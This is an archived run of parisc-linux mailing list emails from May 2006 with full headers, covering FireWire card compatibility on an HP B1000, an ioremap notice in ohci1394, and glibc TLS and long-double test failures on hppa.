	<20060405183747.GZ25493@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624095 19756 80.91.229.3 (22 Nov 2014 02:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2006 06:09:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 28 May 2006 08:09:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 270177D6E0;
	Sun, 28 May 2006 00:09:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14032-05; Sun, 28 May 2006 00:09:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B564F7D6E3;
	Sun, 28 May 2006 00:09:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F6807D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:09:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14032-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:09:16 -0600 (MDT)
Original-Received: from smtp-6.smtp.ucla.edu (smtp-6.smtp.ucla.edu [169.232.48.138])
	by free.linux.hp.com (Postfix) with ESMTP id DA23F7D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:09:15 -0600 (MDT)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.46.158])
	by smtp-6.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k4S69DK6032080
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 May 2006 23:09:14 -0700
Original-Received: from pooh.orion.frostnet.net
	(pool-71-106-20-68.lsanca.dsl-w.verizon.net [71.106.20.68])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k4S69DjS023248
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 May 2006 23:09:13 -0700
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FkESe-0005IE-3t
	for parisc-linux@lists.parisc-linux.org; Sat, 27 May 2006 23:09:12 -0700
Content-Disposition: inline
In-Reply-To: <20060405183747.GZ25493@pooh.bubble.frostnet.net>
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.48.138
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ogZPdSQoYmYSn+nCanc3MC5KWkZTQZS4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23704

To follow up, I was not able to get this IOGear firewire+usb pci card to
work in the B1000/785.

However, a different firewire+usb pci card did have functional usb.
And another pci card, just firewire, worked.

In the end I did not go with firewire because of a bad firewire drive
enclosure, but I wanted to let any watchers know.

-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ohci1394 and ioremap()
Date: Sat, 27 May 2006 23:14:43 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20060528061443.GA20234@pooh.cs.ucla.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624095 19763 80.91.229.3 (22 Nov 2014 02:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2006 06:14:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 28 May 2006 08:14:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B16A7D6E9;
	Sun, 28 May 2006 00:14:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14288-04; Sun, 28 May 2006 00:14:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65B827D6EA;
	Sun, 28 May 2006 00:14:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84AE07D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:14:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14052-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:14:46 -0600 (MDT)
Original-Received: from smtp-4.smtp.ucla.edu (smtp-4.smtp.ucla.edu [169.232.46.138])
	by free.linux.hp.com (Postfix) with ESMTP id 7DAF37D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 May 2006 00:14:46 -0600 (MDT)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.47.145])
	by smtp-4.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k4S6EjOM028686
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 May 2006 23:14:45 -0700
Original-Received: from pooh.orion.frostnet.net
	(pool-71-106-20-68.lsanca.dsl-w.verizon.net [71.106.20.68])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k4S6Eixf016444
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 May 2006 23:14:45 -0700
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FkEXz-0005J6-GE
	for parisc-linux@lists.parisc-linux.org; Sat, 27 May 2006 23:14:43 -0700
Content-Disposition: inline
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.46.138
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5gdPDV9cQEVs4OjDZnVpYlpKNzg2NUI6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23705

In case this issue is unknown, when ohci1394_pci_probe() calls
ioremap() a notice is printed that ioremap should not be used for
non-cacheable memory regions. Changing ioremap() to ioremap_nocache()
removes the message; both versions appear to be functional. This is
with kernel 2.6.16-pa11 on a B1000/785.

According to previous threads, it sounds like a more correct solution
abstracts the ioremap call using the pci_iomap API:
	http://www.mail-archive.com/netdev@vger.kernel.org/msg10410.html

I no longer have the firewire card, and so can't comment much further, but
wanted to mention the above just in case!

-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Close to mainline for hppa-linux TLS.
Date: Mon, 29 May 2006 11:41:48 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440605290841p284b297eo85f7031afbca421d@mail.gmail.com>
References: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
	<1148677068.21405.5.camel@localhost.localdomain>
	<119aab440605261416q7997e5d5x3e4bd642cb662ccd@mail.gmail.com>
	<1148784620.5626.0.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624095 19770 80.91.229.3 (22 Nov 2014 02:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 May 2006 15:42:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 29 May 2006 17:42:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EECE7D684;
	Mon, 29 May 2006 09:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30000-09; Mon, 29 May 2006 09:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A7477D68F;
	Mon, 29 May 2006 09:41:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3236A7D649
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 09:41:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30000-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 09:41:49 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.234])
	by free.linux.hp.com (Postfix) with ESMTP id 365037D405
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 09:41:49 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i5so883218wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 08:41:48 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=QpGNUN6mRBFLdCajJ8tLuWNJhQCzVXcvq4WPBB/FWdrYseQOBQ36ByNwjS2w45tO2/EPEFKLCwTgPnhuQPl3QAAkHQ/5t+ikR2rVlRdC/SD+tGwBo9L12NoiiDGxIWJb1fFZPKQ1py7WazP9z74lgkLksACsqJCKSajf0zvDn1g=
Original-Received: by 10.54.108.19 with SMTP id g19mr2068844wrc;
	Mon, 29 May 2006 08:41:48 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Mon, 29 May 2006 08:41:48 -0700 (PDT)
In-Reply-To: <1148784620.5626.0.camel@localhost.localdomain>
Content-Disposition: inline
X-Google-Sender-Auth: 666fb695aba90b14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G1IxA/sHa2A7ubvDOHQyuqwyOWhhakcw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23706

> > It's unverified, and should not be changed blindly because it's an ABI =
change.
>
> Right.  I'm trolling for patches for Ubuntu. =3D)  The ABI change is what
> caught my eye.
>
> Any sorts of testing reports that you're looking for?

Nothing yet. Thanks to Randolph we caught a bug in asm/unistd.h that I
introduce 2 years ago, and the include chain changes revealed the bug
during the build.

TLS + Linuxthreads is our first target.
NPTL is the next target.

All patches upstream is the goal.
This will never happen for linuxthreads.
This will happen for NPTL.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: glibc tls linuxthreads failure baseline.
Date: Tue, 30 May 2006 09:34:03 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200605301334.k4UDY33E014007@hiauly1.hia.nrc.ca>
References: <447BB7D0.7080603@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624096 19771 80.91.229.3 (22 Nov 2014 02:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2006 13:34:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 30 May 2006 15:34:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC8507D6C5;
	Tue, 30 May 2006 07:34:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09123-01; Tue, 30 May 2006 07:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4DAA7D6CB;
	Tue, 30 May 2006 07:34:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 823287D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 07:34:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08700-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 07:34:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7A56C7D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 07:34:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4UDY4Ax014009;
	Tue, 30 May 2006 09:34:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4UDY33E014007;
	Tue, 30 May 2006 09:34:03 -0400 (EDT)
In-Reply-To: <447BB7D0.7080603@tausq.org> from "Randolph Chung" at May 30,
	2006 11:11:12 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 63BPfMoCMmApvrSZZGFnHdMxMjQ1N13P
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23707

> > make[2]: *** [/libc/math/test-float.out] Error 1
> > make[2]: *** [/libc/math/test-double.out] Error 1
> > make[2]: *** [/libc/math/test-ifloat.out] Error 1
> > make[2]: *** [/libc/math/test-idouble.out] Error 1
> > 
> > Much of this is fixed by Joel's great work. New compiler building.
> 
> I see some weird failures in test-double.out ....

Just a reminder, there is a difference in the handling of unaligned
fixups for doubles on 32 and 64 bit kernels.  I installed a work
around to libffi to avoid this failure as it's necessary on hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc tls linuxthreads failure baseline.
Date: Tue, 30 May 2006 10:07:00 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200605301407.k4UE71cL014247@hiauly1.hia.nrc.ca>
References: <119aab440605291950w7f1f0022nd96fcdce3082bb44@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624096 19772 80.91.229.3 (22 Nov 2014 02:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2006 14:07:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 30 May 2006 16:07:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 373A97D6CE;
	Tue, 30 May 2006 08:07:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09463-06; Tue, 30 May 2006 08:07:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 620087D6CF;
	Tue, 30 May 2006 08:07:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82D9A7D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 08:07:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09483-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 08:07:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 77FB87D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 08:07:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4UE71Bl014249;
	Tue, 30 May 2006 10:07:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4UE71cL014247;
	Tue, 30 May 2006 10:07:01 -0400 (EDT)
In-Reply-To: <119aab440605291950w7f1f0022nd96fcdce3082bb44@mail.gmail.com>
	from "Carlos O'Donell" at May 29, 2006 10:50:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pCtJLHt8ZDI47rHGdWY2o/BxemhmYwGP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23708

> make[1]: *** [math/tests] Error 2
> make[2]: *** [/libc/stdlib/tst-strtod.out] Error 1
> make[2]: *** [/libc/stdlib/bug-strtod.out] Error 1
> 
> Usual long-double problem.

I thought we had agreed to treat long doubles as doubles...

Debian has had a one-line glibc patch installed for some time to
fix this and GCC has always treated long doubles as doubles on linux.
I don't understand why you persist in leaving this bug in the upstream
source.

HP isn't going to release their ieee library and I had to disable using
it with Ada on hpux because of bugs.  That only leaves the double-double
extended format used by powerpc and mips.  Even if we decide to change
the ABI again and add this support, this is a separate issue as far as
I can tell.

> make[1]: *** [stdlib/tests] Error 2
> make[2]: [/libc/posix/annexc.out] Error 1 (ignored)
> make[2]: *** [/libc/crypt/cert.out] Error 139
> 
> GCC optimizer bug.

Is there a PR?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0011
